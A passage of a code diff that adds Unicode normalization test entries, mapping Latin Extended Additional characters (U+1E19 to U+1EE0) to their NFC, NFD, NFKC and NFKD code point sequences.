+{ source: [0x1E19], NFC: [0x1E19], NFD: [0x0065, 0x032D], NFKC: [0x1E19], NFKD: [0x0065, 0x032D] },
+{ source: [0x1E1A], NFC: [0x1E1A], NFD: [0x0045, 0x0330], NFKC: [0x1E1A], NFKD: [0x0045, 0x0330] },
+{ source: [0x1E1B], NFC: [0x1E1B], NFD: [0x0065, 0x0330], NFKC: [0x1E1B], NFKD: [0x0065, 0x0330] },
+{ source: [0x1E1C], NFC: [0x1E1C], NFD: [0x0045, 0x0327, 0x0306], NFKC: [0x1E1C], NFKD: [0x0045, 0x0327, 0x0306] },
+{ source: [0x1E1D], NFC: [0x1E1D], NFD: [0x0065, 0x0327, 0x0306], NFKC: [0x1E1D], NFKD: [0x0065, 0x0327, 0x0306] },
+{ source: [0x1E1E], NFC: [0x1E1E], NFD: [0x0046, 0x0307], NFKC: [0x1E1E], NFKD: [0x0046, 0x0307] },
+{ source: [0x1E1F], NFC: [0x1E1F], NFD: [0x0066, 0x0307], NFKC: [0x1E1F], NFKD: [0x0066, 0x0307] },
+{ source: [0x1E20], NFC: [0x1E20], NFD: [0x0047, 0x0304], NFKC: [0x1E20], NFKD: [0x0047, 0x0304] },
+{ source: [0x1E21], NFC: [0x1E21], NFD: [0x0067, 0x0304], NFKC: [0x1E21], NFKD: [0x0067, 0x0304] },
+{ source: [0x1E22], NFC: [0x1E22], NFD: [0x0048, 0x0307], NFKC: [0x1E22], NFKD: [0x0048, 0x0307] },
+{ source: [0x1E23], NFC: [0x1E23], NFD: [0x0068, 0x0307], NFKC: [0x1E23], NFKD: [0x0068, 0x0307] },
+{ source: [0x1E24], NFC: [0x1E24], NFD: [0x0048, 0x0323], NFKC: [0x1E24], NFKD: [0x0048, 0x0323] },
+{ source: [0x1E25], NFC: [0x1E25], NFD: [0x0068, 0x0323], NFKC: [0x1E25], NFKD: [0x0068, 0x0323] },
+{ source: [0x1E26], NFC: [0x1E26], NFD: [0x0048, 0x0308], NFKC: [0x1E26], NFKD: [0x0048, 0x0308] },
+{ source: [0x1E27], NFC: [0x1E27], NFD: [0x0068, 0x0308], NFKC: [0x1E27], NFKD: [0x0068, 0x0308] },
+{ source: [0x1E28], NFC: [0x1E28], NFD: [0x0048, 0x0327], NFKC: [0x1E28], NFKD: [0x0048, 0x0327] },
+{ source: [0x1E29], NFC: [0x1E29], NFD: [0x0068, 0x0327], NFKC: [0x1E29], NFKD: [0x0068, 0x0327] },
+{ source: [0x1E2A], NFC: [0x1E2A], NFD: [0x0048, 0x032E], NFKC: [0x1E2A], NFKD: [0x0048, 0x032E] },
+{ source: [0x1E2B], NFC: [0x1E2B], NFD: [0x0068, 0x032E], NFKC: [0x1E2B], NFKD: [0x0068, 0x032E] },
+{ source: [0x1E2C], NFC: [0x1E2C], NFD: [0x0049, 0x0330], NFKC: [0x1E2C], NFKD: [0x0049, 0x0330] },
+{ source: [0x1E2D], NFC: [0x1E2D], NFD: [0x0069, 0x0330], NFKC: [0x1E2D], NFKD: [0x0069, 0x0330] },
+{ source: [0x1E2E], NFC: [0x1E2E], NFD: [0x0049, 0x0308, 0x0301], NFKC: [0x1E2E], NFKD: [0x0049, 0x0308, 0x0301] },
+{ source: [0x1E2F], NFC: [0x1E2F], NFD: [0x0069, 0x0308, 0x0301], NFKC: [0x1E2F], NFKD: [0x0069, 0x0308, 0x0301] },
+{ source: [0x1E30], NFC: [0x1E30], NFD: [0x004B, 0x0301], NFKC: [0x1E30], NFKD: [0x004B, 0x0301] },
+{ source: [0x1E31], NFC: [0x1E31], NFD: [0x006B, 0x0301], NFKC: [0x1E31], NFKD: [0x006B, 0x0301] },
+{ source: [0x1E32], NFC: [0x1E32], NFD: [0x004B, 0x0323], NFKC: [0x1E32], NFKD: [0x004B, 0x0323] },
+{ source: [0x1E33], NFC: [0x1E33], NFD: [0x006B, 0x0323], NFKC: [0x1E33], NFKD: [0x006B, 0x0323] },
+{ source: [0x1E34], NFC: [0x1E34], NFD: [0x004B, 0x0331], NFKC: [0x1E34], NFKD: [0x004B, 0x0331] },
+{ source: [0x1E35], NFC: [0x1E35], NFD: [0x006B, 0x0331], NFKC: [0x1E35], NFKD: [0x006B, 0x0331] },
+{ source: [0x1E36], NFC: [0x1E36], NFD: [0x004C, 0x0323], NFKC: [0x1E36], NFKD: [0x004C, 0x0323] },
+{ source: [0x1E37], NFC: [0x1E37], NFD: [0x006C, 0x0323], NFKC: [0x1E37], NFKD: [0x006C, 0x0323] },
+{ source: [0x1E38], NFC: [0x1E38], NFD: [0x004C, 0x0323, 0x0304], NFKC: [0x1E38], NFKD: [0x004C, 0x0323, 0x0304] },
+{ source: [0x1E39], NFC: [0x1E39], NFD: [0x006C, 0x0323, 0x0304], NFKC: [0x1E39], NFKD: [0x006C, 0x0323, 0x0304] },
+{ source: [0x1E3A], NFC: [0x1E3A], NFD: [0x004C, 0x0331], NFKC: [0x1E3A], NFKD: [0x004C, 0x0331] },
+{ source: [0x1E3B], NFC: [0x1E3B], NFD: [0x006C, 0x0331], NFKC: [0x1E3B], NFKD: [0x006C, 0x0331] },
+{ source: [0x1E3C], NFC: [0x1E3C], NFD: [0x004C, 0x032D], NFKC: [0x1E3C], NFKD: [0x004C, 0x032D] },
+{ source: [0x1E3D], NFC: [0x1E3D], NFD: [0x006C, 0x032D], NFKC: [0x1E3D], NFKD: [0x006C, 0x032D] },
+{ source: [0x1E3E], NFC: [0x1E3E], NFD: [0x004D, 0x0301], NFKC: [0x1E3E], NFKD: [0x004D, 0x0301] },
+{ source: [0x1E3F], NFC: [0x1E3F], NFD: [0x006D, 0x0301], NFKC: [0x1E3F], NFKD: [0x006D, 0x0301] },
+{ source: [0x1E40], NFC: [0x1E40], NFD: [0x004D, 0x0307], NFKC: [0x1E40], NFKD: [0x004D, 0x0307] },
+{ source: [0x1E41], NFC: [0x1E41], NFD: [0x006D, 0x0307], NFKC: [0x1E41], NFKD: [0x006D, 0x0307] },
+{ source: [0x1E42], NFC: [0x1E42], NFD: [0x004D, 0x0323], NFKC: [0x1E42], NFKD: [0x004D, 0x0323] },
+{ source: [0x1E43], NFC: [0x1E43], NFD: [0x006D, 0x0323], NFKC: [0x1E43], NFKD: [0x006D, 0x0323] },
+{ source: [0x1E44], NFC: [0x1E44], NFD: [0x004E, 0x0307], NFKC: [0x1E44], NFKD: [0x004E, 0x0307] },
+{ source: [0x1E45], NFC: [0x1E45], NFD: [0x006E, 0x0307], NFKC: [0x1E45], NFKD: [0x006E, 0x0307] },
+{ source: [0x1E46], NFC: [0x1E46], NFD: [0x004E, 0x0323], NFKC: [0x1E46], NFKD: [0x004E, 0x0323] },
+{ source: [0x1E47], NFC: [0x1E47], NFD: [0x006E, 0x0323], NFKC: [0x1E47], NFKD: [0x006E, 0x0323] },
+{ source: [0x1E48], NFC: [0x1E48], NFD: [0x004E, 0x0331], NFKC: [0x1E48], NFKD: [0x004E, 0x0331] },
+{ source: [0x1E49], NFC: [0x1E49], NFD: [0x006E, 0x0331], NFKC: [0x1E49], NFKD: [0x006E, 0x0331] },
+{ source: [0x1E4A], NFC: [0x1E4A], NFD: [0x004E, 0x032D], NFKC: [0x1E4A], NFKD: [0x004E, 0x032D] },
+{ source: [0x1E4B], NFC: [0x1E4B], NFD: [0x006E, 0x032D], NFKC: [0x1E4B], NFKD: [0x006E, 0x032D] },
+{ source: [0x1E4C], NFC: [0x1E4C], NFD: [0x004F, 0x0303, 0x0301], NFKC: [0x1E4C], NFKD: [0x004F, 0x0303, 0x0301] },
+{ source: [0x1E4D], NFC: [0x1E4D], NFD: [0x006F, 0x0303, 0x0301], NFKC: [0x1E4D], NFKD: [0x006F, 0x0303, 0x0301] },
+{ source: [0x1E4E], NFC: [0x1E4E], NFD: [0x004F, 0x0303, 0x0308], NFKC: [0x1E4E], NFKD: [0x004F, 0x0303, 0x0308] },
+{ source: [0x1E4F], NFC: [0x1E4F], NFD: [0x006F, 0x0303, 0x0308], NFKC: [0x1E4F], NFKD: [0x006F, 0x0303, 0x0308] },
+{ source: [0x1E50], NFC: [0x1E50], NFD: [0x004F, 0x0304, 0x0300], NFKC: [0x1E50], NFKD: [0x004F, 0x0304, 0x0300] },
+{ source: [0x1E51], NFC: [0x1E51], NFD: [0x006F, 0x0304, 0x0300], NFKC: [0x1E51], NFKD: [0x006F, 0x0304, 0x0300] },
+{ source: [0x1E52], NFC: [0x1E52], NFD: [0x004F, 0x0304, 0x0301], NFKC: [0x1E52], NFKD: [0x004F, 0x0304, 0x0301] },
+{ source: [0x1E53], NFC: [0x1E53], NFD: [0x006F, 0x0304, 0x0301], NFKC: [0x1E53], NFKD: [0x006F, 0x0304, 0x0301] },
+{ source: [0x1E54], NFC: [0x1E54], NFD: [0x0050, 0x0301], NFKC: [0x1E54], NFKD: [0x0050, 0x0301] },
+{ source: [0x1E55], NFC: [0x1E55], NFD: [0x0070, 0x0301], NFKC: [0x1E55], NFKD: [0x0070, 0x0301] },
+{ source: [0x1E56], NFC: [0x1E56], NFD: [0x0050, 0x0307], NFKC: [0x1E56], NFKD: [0x0050, 0x0307] },
+{ source: [0x1E57], NFC: [0x1E57], NFD: [0x0070, 0x0307], NFKC: [0x1E57], NFKD: [0x0070, 0x0307] },
+{ source: [0x1E58], NFC: [0x1E58], NFD: [0x0052, 0x0307], NFKC: [0x1E58], NFKD: [0x0052, 0x0307] },
+{ source: [0x1E59], NFC: [0x1E59], NFD: [0x0072, 0x0307], NFKC: [0x1E59], NFKD: [0x0072, 0x0307] },
+{ source: [0x1E5A], NFC: [0x1E5A], NFD: [0x0052, 0x0323], NFKC: [0x1E5A], NFKD: [0x0052, 0x0323] },
+{ source: [0x1E5B], NFC: [0x1E5B], NFD: [0x0072, 0x0323], NFKC: [0x1E5B], NFKD: [0x0072, 0x0323] },
+{ source: [0x1E5C], NFC: [0x1E5C], NFD: [0x0052, 0x0323, 0x0304], NFKC: [0x1E5C], NFKD: [0x0052, 0x0323, 0x0304] },
+{ source: [0x1E5D], NFC: [0x1E5D], NFD: [0x0072, 0x0323, 0x0304], NFKC: [0x1E5D], NFKD: [0x0072, 0x0323, 0x0304] },
+{ source: [0x1E5E], NFC: [0x1E5E], NFD: [0x0052, 0x0331], NFKC: [0x1E5E], NFKD: [0x0052, 0x0331] },
+{ source: [0x1E5F], NFC: [0x1E5F], NFD: [0x0072, 0x0331], NFKC: [0x1E5F], NFKD: [0x0072, 0x0331] },
+{ source: [0x1E60], NFC: [0x1E60], NFD: [0x0053, 0x0307], NFKC: [0x1E60], NFKD: [0x0053, 0x0307] },
+{ source: [0x1E61], NFC: [0x1E61], NFD: [0x0073, 0x0307], NFKC: [0x1E61], NFKD: [0x0073, 0x0307] },
+{ source: [0x1E62], NFC: [0x1E62], NFD: [0x0053, 0x0323], NFKC: [0x1E62], NFKD: [0x0053, 0x0323] },
+{ source: [0x1E63], NFC: [0x1E63], NFD: [0x0073, 0x0323], NFKC: [0x1E63], NFKD: [0x0073, 0x0323] },
+{ source: [0x1E64], NFC: [0x1E64], NFD: [0x0053, 0x0301, 0x0307], NFKC: [0x1E64], NFKD: [0x0053, 0x0301, 0x0307] },
+{ source: [0x1E65], NFC: [0x1E65], NFD: [0x0073, 0x0301, 0x0307], NFKC: [0x1E65], NFKD: [0x0073, 0x0301, 0x0307] },
+{ source: [0x1E66], NFC: [0x1E66], NFD: [0x0053, 0x030C, 0x0307], NFKC: [0x1E66], NFKD: [0x0053, 0x030C, 0x0307] },
+{ source: [0x1E67], NFC: [0x1E67], NFD: [0x0073, 0x030C, 0x0307], NFKC: [0x1E67], NFKD: [0x0073, 0x030C, 0x0307] },
+{ source: [0x1E68], NFC: [0x1E68], NFD: [0x0053, 0x0323, 0x0307], NFKC: [0x1E68], NFKD: [0x0053, 0x0323, 0x0307] },
+{ source: [0x1E69], NFC: [0x1E69], NFD: [0x0073, 0x0323, 0x0307], NFKC: [0x1E69], NFKD: [0x0073, 0x0323, 0x0307] },
+{ source: [0x1E6A], NFC: [0x1E6A], NFD: [0x0054, 0x0307], NFKC: [0x1E6A], NFKD: [0x0054, 0x0307] },
+{ source: [0x1E6B], NFC: [0x1E6B], NFD: [0x0074, 0x0307], NFKC: [0x1E6B], NFKD: [0x0074, 0x0307] },
+{ source: [0x1E6C], NFC: [0x1E6C], NFD: [0x0054, 0x0323], NFKC: [0x1E6C], NFKD: [0x0054, 0x0323] },
+{ source: [0x1E6D], NFC: [0x1E6D], NFD: [0x0074, 0x0323], NFKC: [0x1E6D], NFKD: [0x0074, 0x0323] },
+{ source: [0x1E6E], NFC: [0x1E6E], NFD: [0x0054, 0x0331], NFKC: [0x1E6E], NFKD: [0x0054, 0x0331] },
+{ source: [0x1E6F], NFC: [0x1E6F], NFD: [0x0074, 0x0331], NFKC: [0x1E6F], NFKD: [0x0074, 0x0331] },
+{ source: [0x1E70], NFC: [0x1E70], NFD: [0x0054, 0x032D], NFKC: [0x1E70], NFKD: [0x0054, 0x032D] },
+{ source: [0x1E71], NFC: [0x1E71], NFD: [0x0074, 0x032D], NFKC: [0x1E71], NFKD: [0x0074, 0x032D] },
+{ source: [0x1E72], NFC: [0x1E72], NFD: [0x0055, 0x0324], NFKC: [0x1E72], NFKD: [0x0055, 0x0324] },
+{ source: [0x1E73], NFC: [0x1E73], NFD: [0x0075, 0x0324], NFKC: [0x1E73], NFKD: [0x0075, 0x0324] },
+{ source: [0x1E74], NFC: [0x1E74], NFD: [0x0055, 0x0330], NFKC: [0x1E74], NFKD: [0x0055, 0x0330] },
+{ source: [0x1E75], NFC: [0x1E75], NFD: [0x0075, 0x0330], NFKC: [0x1E75], NFKD: [0x0075, 0x0330] },
+{ source: [0x1E76], NFC: [0x1E76], NFD: [0x0055, 0x032D], NFKC: [0x1E76], NFKD: [0x0055, 0x032D] },
+{ source: [0x1E77], NFC: [0x1E77], NFD: [0x0075, 0x032D], NFKC: [0x1E77], NFKD: [0x0075, 0x032D] },
+{ source: [0x1E78], NFC: [0x1E78], NFD: [0x0055, 0x0303, 0x0301], NFKC: [0x1E78], NFKD: [0x0055, 0x0303, 0x0301] },
+{ source: [0x1E79], NFC: [0x1E79], NFD: [0x0075, 0x0303, 0x0301], NFKC: [0x1E79], NFKD: [0x0075, 0x0303, 0x0301] },
+{ source: [0x1E7A], NFC: [0x1E7A], NFD: [0x0055, 0x0304, 0x0308], NFKC: [0x1E7A], NFKD: [0x0055, 0x0304, 0x0308] },
+{ source: [0x1E7B], NFC: [0x1E7B], NFD: [0x0075, 0x0304, 0x0308], NFKC: [0x1E7B], NFKD: [0x0075, 0x0304, 0x0308] },
+{ source: [0x1E7C], NFC: [0x1E7C], NFD: [0x0056, 0x0303], NFKC: [0x1E7C], NFKD: [0x0056, 0x0303] },
+{ source: [0x1E7D], NFC: [0x1E7D], NFD: [0x0076, 0x0303], NFKC: [0x1E7D], NFKD: [0x0076, 0x0303] },
+{ source: [0x1E7E], NFC: [0x1E7E], NFD: [0x0056, 0x0323], NFKC: [0x1E7E], NFKD: [0x0056, 0x0323] },
+{ source: [0x1E7F], NFC: [0x1E7F], NFD: [0x0076, 0x0323], NFKC: [0x1E7F], NFKD: [0x0076, 0x0323] },
+{ source: [0x1E80], NFC: [0x1E80], NFD: [0x0057, 0x0300], NFKC: [0x1E80], NFKD: [0x0057, 0x0300] },
+{ source: [0x1E81], NFC: [0x1E81], NFD: [0x0077, 0x0300], NFKC: [0x1E81], NFKD: [0x0077, 0x0300] },
+{ source: [0x1E82], NFC: [0x1E82], NFD: [0x0057, 0x0301], NFKC: [0x1E82], NFKD: [0x0057, 0x0301] },
+{ source: [0x1E83], NFC: [0x1E83], NFD: [0x0077, 0x0301], NFKC: [0x1E83], NFKD: [0x0077, 0x0301] },
+{ source: [0x1E84], NFC: [0x1E84], NFD: [0x0057, 0x0308], NFKC: [0x1E84], NFKD: [0x0057, 0x0308] },
+{ source: [0x1E85], NFC: [0x1E85], NFD: [0x0077, 0x0308], NFKC: [0x1E85], NFKD: [0x0077, 0x0308] },
+{ source: [0x1E86], NFC: [0x1E86], NFD: [0x0057, 0x0307], NFKC: [0x1E86], NFKD: [0x0057, 0x0307] },
+{ source: [0x1E87], NFC: [0x1E87], NFD: [0x0077, 0x0307], NFKC: [0x1E87], NFKD: [0x0077, 0x0307] },
+{ source: [0x1E88], NFC: [0x1E88], NFD: [0x0057, 0x0323], NFKC: [0x1E88], NFKD: [0x0057, 0x0323] },
+{ source: [0x1E89], NFC: [0x1E89], NFD: [0x0077, 0x0323], NFKC: [0x1E89], NFKD: [0x0077, 0x0323] },
+{ source: [0x1E8A], NFC: [0x1E8A], NFD: [0x0058, 0x0307], NFKC: [0x1E8A], NFKD: [0x0058, 0x0307] },
+{ source: [0x1E8B], NFC: [0x1E8B], NFD: [0x0078, 0x0307], NFKC: [0x1E8B], NFKD: [0x0078, 0x0307] },
+{ source: [0x1E8C], NFC: [0x1E8C], NFD: [0x0058, 0x0308], NFKC: [0x1E8C], NFKD: [0x0058, 0x0308] },
+{ source: [0x1E8D], NFC: [0x1E8D], NFD: [0x0078, 0x0308], NFKC: [0x1E8D], NFKD: [0x0078, 0x0308] },
+{ source: [0x1E8E], NFC: [0x1E8E], NFD: [0x0059, 0x0307], NFKC: [0x1E8E], NFKD: [0x0059, 0x0307] },
+{ source: [0x1E8F], NFC: [0x1E8F], NFD: [0x0079, 0x0307], NFKC: [0x1E8F], NFKD: [0x0079, 0x0307] },
+{ source: [0x1E90], NFC: [0x1E90], NFD: [0x005A, 0x0302], NFKC: [0x1E90], NFKD: [0x005A, 0x0302] },
+{ source: [0x1E91], NFC: [0x1E91], NFD: [0x007A, 0x0302], NFKC: [0x1E91], NFKD: [0x007A, 0x0302] },
+{ source: [0x1E92], NFC: [0x1E92], NFD: [0x005A, 0x0323], NFKC: [0x1E92], NFKD: [0x005A, 0x0323] },
+{ source: [0x1E93], NFC: [0x1E93], NFD: [0x007A, 0x0323], NFKC: [0x1E93], NFKD: [0x007A, 0x0323] },
+{ source: [0x1E94], NFC: [0x1E94], NFD: [0x005A, 0x0331], NFKC: [0x1E94], NFKD: [0x005A, 0x0331] },
+{ source: [0x1E95], NFC: [0x1E95], NFD: [0x007A, 0x0331], NFKC: [0x1E95], NFKD: [0x007A, 0x0331] },
+{ source: [0x1E96], NFC: [0x1E96], NFD: [0x0068, 0x0331], NFKC: [0x1E96], NFKD: [0x0068, 0x0331] },
+{ source: [0x1E97], NFC: [0x1E97], NFD: [0x0074, 0x0308], NFKC: [0x1E97], NFKD: [0x0074, 0x0308] },
+{ source: [0x1E98], NFC: [0x1E98], NFD: [0x0077, 0x030A], NFKC: [0x1E98], NFKD: [0x0077, 0x030A] },
+{ source: [0x1E99], NFC: [0x1E99], NFD: [0x0079, 0x030A], NFKC: [0x1E99], NFKD: [0x0079, 0x030A] },
+{ source: [0x1E9A], NFC: [0x1E9A], NFD: [0x1E9A], NFKC: [0x0061, 0x02BE], NFKD: [0x0061, 0x02BE] },
+{ source: [0x1E9B], NFC: [0x1E9B], NFD: [0x017F, 0x0307], NFKC: [0x1E61], NFKD: [0x0073, 0x0307] },
+{ source: [0x1EA0], NFC: [0x1EA0], NFD: [0x0041, 0x0323], NFKC: [0x1EA0], NFKD: [0x0041, 0x0323] },
+{ source: [0x1EA1], NFC: [0x1EA1], NFD: [0x0061, 0x0323], NFKC: [0x1EA1], NFKD: [0x0061, 0x0323] },
+{ source: [0x1EA2], NFC: [0x1EA2], NFD: [0x0041, 0x0309], NFKC: [0x1EA2], NFKD: [0x0041, 0x0309] },
+{ source: [0x1EA3], NFC: [0x1EA3], NFD: [0x0061, 0x0309], NFKC: [0x1EA3], NFKD: [0x0061, 0x0309] },
+{ source: [0x1EA4], NFC: [0x1EA4], NFD: [0x0041, 0x0302, 0x0301], NFKC: [0x1EA4], NFKD: [0x0041, 0x0302, 0x0301] },
+{ source: [0x1EA5], NFC: [0x1EA5], NFD: [0x0061, 0x0302, 0x0301], NFKC: [0x1EA5], NFKD: [0x0061, 0x0302, 0x0301] },
+{ source: [0x1EA6], NFC: [0x1EA6], NFD: [0x0041, 0x0302, 0x0300], NFKC: [0x1EA6], NFKD: [0x0041, 0x0302, 0x0300] },
+{ source: [0x1EA7], NFC: [0x1EA7], NFD: [0x0061, 0x0302, 0x0300], NFKC: [0x1EA7], NFKD: [0x0061, 0x0302, 0x0300] },
+{ source: [0x1EA8], NFC: [0x1EA8], NFD: [0x0041, 0x0302, 0x0309], NFKC: [0x1EA8], NFKD: [0x0041, 0x0302, 0x0309] },
+{ source: [0x1EA9], NFC: [0x1EA9], NFD: [0x0061, 0x0302, 0x0309], NFKC: [0x1EA9], NFKD: [0x0061, 0x0302, 0x0309] },
+{ source: [0x1EAA], NFC: [0x1EAA], NFD: [0x0041, 0x0302, 0x0303], NFKC: [0x1EAA], NFKD: [0x0041, 0x0302, 0x0303] },
+{ source: [0x1EAB], NFC: [0x1EAB], NFD: [0x0061, 0x0302, 0x0303], NFKC: [0x1EAB], NFKD: [0x0061, 0x0302, 0x0303] },
+{ source: [0x1EAC], NFC: [0x1EAC], NFD: [0x0041, 0x0323, 0x0302], NFKC: [0x1EAC], NFKD: [0x0041, 0x0323, 0x0302] },
+{ source: [0x1EAD], NFC: [0x1EAD], NFD: [0x0061, 0x0323, 0x0302], NFKC: [0x1EAD], NFKD: [0x0061, 0x0323, 0x0302] },
+{ source: [0x1EAE], NFC: [0x1EAE], NFD: [0x0041, 0x0306, 0x0301], NFKC: [0x1EAE], NFKD: [0x0041, 0x0306, 0x0301] },
+{ source: [0x1EAF], NFC: [0x1EAF], NFD: [0x0061, 0x0306, 0x0301], NFKC: [0x1EAF], NFKD: [0x0061, 0x0306, 0x0301] },
+{ source: [0x1EB0], NFC: [0x1EB0], NFD: [0x0041, 0x0306, 0x0300], NFKC: [0x1EB0], NFKD: [0x0041, 0x0306, 0x0300] },
+{ source: [0x1EB1], NFC: [0x1EB1], NFD: [0x0061, 0x0306, 0x0300], NFKC: [0x1EB1], NFKD: [0x0061, 0x0306, 0x0300] },
+{ source: [0x1EB2], NFC: [0x1EB2], NFD: [0x0041, 0x0306, 0x0309], NFKC: [0x1EB2], NFKD: [0x0041, 0x0306, 0x0309] },
+{ source: [0x1EB3], NFC: [0x1EB3], NFD: [0x0061, 0x0306, 0x0309], NFKC: [0x1EB3], NFKD: [0x0061, 0x0306, 0x0309] },
+{ source: [0x1EB4], NFC: [0x1EB4], NFD: [0x0041, 0x0306, 0x0303], NFKC: [0x1EB4], NFKD: [0x0041, 0x0306, 0x0303] },
+{ source: [0x1EB5], NFC: [0x1EB5], NFD: [0x0061, 0x0306, 0x0303], NFKC: [0x1EB5], NFKD: [0x0061, 0x0306, 0x0303] },
+{ source: [0x1EB6], NFC: [0x1EB6], NFD: [0x0041, 0x0323, 0x0306], NFKC: [0x1EB6], NFKD: [0x0041, 0x0323, 0x0306] },
+{ source: [0x1EB7], NFC: [0x1EB7], NFD: [0x0061, 0x0323, 0x0306], NFKC: [0x1EB7], NFKD: [0x0061, 0x0323, 0x0306] },
+{ source: [0x1EB8], NFC: [0x1EB8], NFD: [0x0045, 0x0323], NFKC: [0x1EB8], NFKD: [0x0045, 0x0323] },
+{ source: [0x1EB9], NFC: [0x1EB9], NFD: [0x0065, 0x0323], NFKC: [0x1EB9], NFKD: [0x0065, 0x0323] },
+{ source: [0x1EBA], NFC: [0x1EBA], NFD: [0x0045, 0x0309], NFKC: [0x1EBA], NFKD: [0x0045, 0x0309] },
+{ source: [0x1EBB], NFC: [0x1EBB], NFD: [0x0065, 0x0309], NFKC: [0x1EBB], NFKD: [0x0065, 0x0309] },
+{ source: [0x1EBC], NFC: [0x1EBC], NFD: [0x0045, 0x0303], NFKC: [0x1EBC], NFKD: [0x0045, 0x0303] },
+{ source: [0x1EBD], NFC: [0x1EBD], NFD: [0x0065, 0x0303], NFKC: [0x1EBD], NFKD: [0x0065, 0x0303] },
+{ source: [0x1EBE], NFC: [0x1EBE], NFD: [0x0045, 0x0302, 0x0301], NFKC: [0x1EBE], NFKD: [0x0045, 0x0302, 0x0301] },
+{ source: [0x1EBF], NFC: [0x1EBF], NFD: [0x0065, 0x0302, 0x0301], NFKC: [0x1EBF], NFKD: [0x0065, 0x0302, 0x0301] },
+{ source: [0x1EC0], NFC: [0x1EC0], NFD: [0x0045, 0x0302, 0x0300], NFKC: [0x1EC0], NFKD: [0x0045, 0x0302, 0x0300] },
+{ source: [0x1EC1], NFC: [0x1EC1], NFD: [0x0065, 0x0302, 0x0300], NFKC: [0x1EC1], NFKD: [0x0065, 0x0302, 0x0300] },
+{ source: [0x1EC2], NFC: [0x1EC2], NFD: [0x0045, 0x0302, 0x0309], NFKC: [0x1EC2], NFKD: [0x0045, 0x0302, 0x0309] },
+{ source: [0x1EC3], NFC: [0x1EC3], NFD: [0x0065, 0x0302, 0x0309], NFKC: [0x1EC3], NFKD: [0x0065, 0x0302, 0x0309] },
+{ source: [0x1EC4], NFC: [0x1EC4], NFD: [0x0045, 0x0302, 0x0303], NFKC: [0x1EC4], NFKD: [0x0045, 0x0302, 0x0303] },
+{ source: [0x1EC5], NFC: [0x1EC5], NFD: [0x0065, 0x0302, 0x0303], NFKC: [0x1EC5], NFKD: [0x0065, 0x0302, 0x0303] },
+{ source: [0x1EC6], NFC: [0x1EC6], NFD: [0x0045, 0x0323, 0x0302], NFKC: [0x1EC6], NFKD: [0x0045, 0x0323, 0x0302] },
+{ source: [0x1EC7], NFC: [0x1EC7], NFD: [0x0065, 0x0323, 0x0302], NFKC: [0x1EC7], NFKD: [0x0065, 0x0323, 0x0302] },
+{ source: [0x1EC8], NFC: [0x1EC8], NFD: [0x0049, 0x0309], NFKC: [0x1EC8], NFKD: [0x0049, 0x0309] },
+{ source: [0x1EC9], NFC: [0x1EC9], NFD: [0x0069, 0x0309], NFKC: [0x1EC9], NFKD: [0x0069, 0x0309] },
+{ source: [0x1ECA], NFC: [0x1ECA], NFD: [0x0049, 0x0323], NFKC: [0x1ECA], NFKD: [0x0049, 0x0323] },
+{ source: [0x1ECB], NFC: [0x1ECB], NFD: [0x0069, 0x0323], NFKC: [0x1ECB], NFKD: [0x0069, 0x0323] },
+{ source: [0x1ECC], NFC: [0x1ECC], NFD: [0x004F, 0x0323], NFKC: [0x1ECC], NFKD: [0x004F, 0x0323] },
+{ source: [0x1ECD], NFC: [0x1ECD], NFD: [0x006F, 0x0323], NFKC: [0x1ECD], NFKD: [0x006F, 0x0323] },
+{ source: [0x1ECE], NFC: [0x1ECE], NFD: [0x004F, 0x0309], NFKC: [0x1ECE], NFKD: [0x004F, 0x0309] },
+{ source: [0x1ECF], NFC: [0x1ECF], NFD: [0x006F, 0x0309], NFKC: [0x1ECF], NFKD: [0x006F, 0x0309] },
+{ source: [0x1ED0], NFC: [0x1ED0], NFD: [0x004F, 0x0302, 0x0301], NFKC: [0x1ED0], NFKD: [0x004F, 0x0302, 0x0301] },
+{ source: [0x1ED1], NFC: [0x1ED1], NFD: [0x006F, 0x0302, 0x0301], NFKC: [0x1ED1], NFKD: [0x006F, 0x0302, 0x0301] },
+{ source: [0x1ED2], NFC: [0x1ED2], NFD: [0x004F, 0x0302, 0x0300], NFKC: [0x1ED2], NFKD: [0x004F, 0x0302, 0x0300] },
+{ source: [0x1ED3], NFC: [0x1ED3], NFD: [0x006F, 0x0302, 0x0300], NFKC: [0x1ED3], NFKD: [0x006F, 0x0302, 0x0300] },
+{ source: [0x1ED4], NFC: [0x1ED4], NFD: [0x004F, 0x0302, 0x0309], NFKC: [0x1ED4], NFKD: [0x004F, 0x0302, 0x0309] },
+{ source: [0x1ED5], NFC: [0x1ED5], NFD: [0x006F, 0x0302, 0x0309], NFKC: [0x1ED5], NFKD: [0x006F, 0x0302, 0x0309] },
+{ source: [0x1ED6], NFC: [0x1ED6], NFD: [0x004F, 0x0302, 0x0303], NFKC: [0x1ED6], NFKD: [0x004F, 0x0302, 0x0303] },
+{ source: [0x1ED7], NFC: [0x1ED7], NFD: [0x006F, 0x0302, 0x0303], NFKC: [0x1ED7], NFKD: [0x006F, 0x0302, 0x0303] },
+{ source: [0x1ED8], NFC: [0x1ED8], NFD: [0x004F, 0x0323, 0x0302], NFKC: [0x1ED8], NFKD: [0x004F, 0x0323, 0x0302] },
+{ source: [0x1ED9], NFC: [0x1ED9], NFD: [0x006F, 0x0323, 0x0302], NFKC: [0x1ED9], NFKD: [0x006F, 0x0323, 0x0302] },
+{ source: [0x1EDA], NFC: [0x1EDA], NFD: [0x004F, 0x031B, 0x0301], NFKC: [0x1EDA], NFKD: [0x004F, 0x031B, 0x0301] },
+{ source: [0x1EDB], NFC: [0x1EDB], NFD: [0x006F, 0x031B, 0x0301], NFKC: [0x1EDB], NFKD: [0x006F, 0x031B, 0x0301] },
+{ source: [0x1EDC], NFC: [0x1EDC], NFD: [0x004F, 0x031B, 0x0300], NFKC: [0x1EDC], NFKD: [0x004F, 0x031B, 0x0300] },
+{ source: [0x1EDD], NFC: [0x1EDD], NFD: [0x006F, 0x031B, 0x0300], NFKC: [0x1EDD], NFKD: [0x006F, 0x031B, 0x0300] },
+{ source: [0x1EDE], NFC: [0x1EDE], NFD: [0x004F, 0x031B, 0x0309], NFKC: [0x1EDE], NFKD: [0x004F, 0x031B, 0x0309] },
+{ source: [0x1EDF], NFC: [0x1EDF], NFD: [0x006F, 0x031B, 0x0309], NFKC: [0x1EDF], NFKD: [0x006F, 0x031B, 0x0309] },
+{ source: [0x1EE0], NFC: [0x1EE0], NFD: [0x004F, 0x031B, 0x0303], NFKC: [0x1EE0], NFKD: [0x004F, 0x031B, 0x0303] },
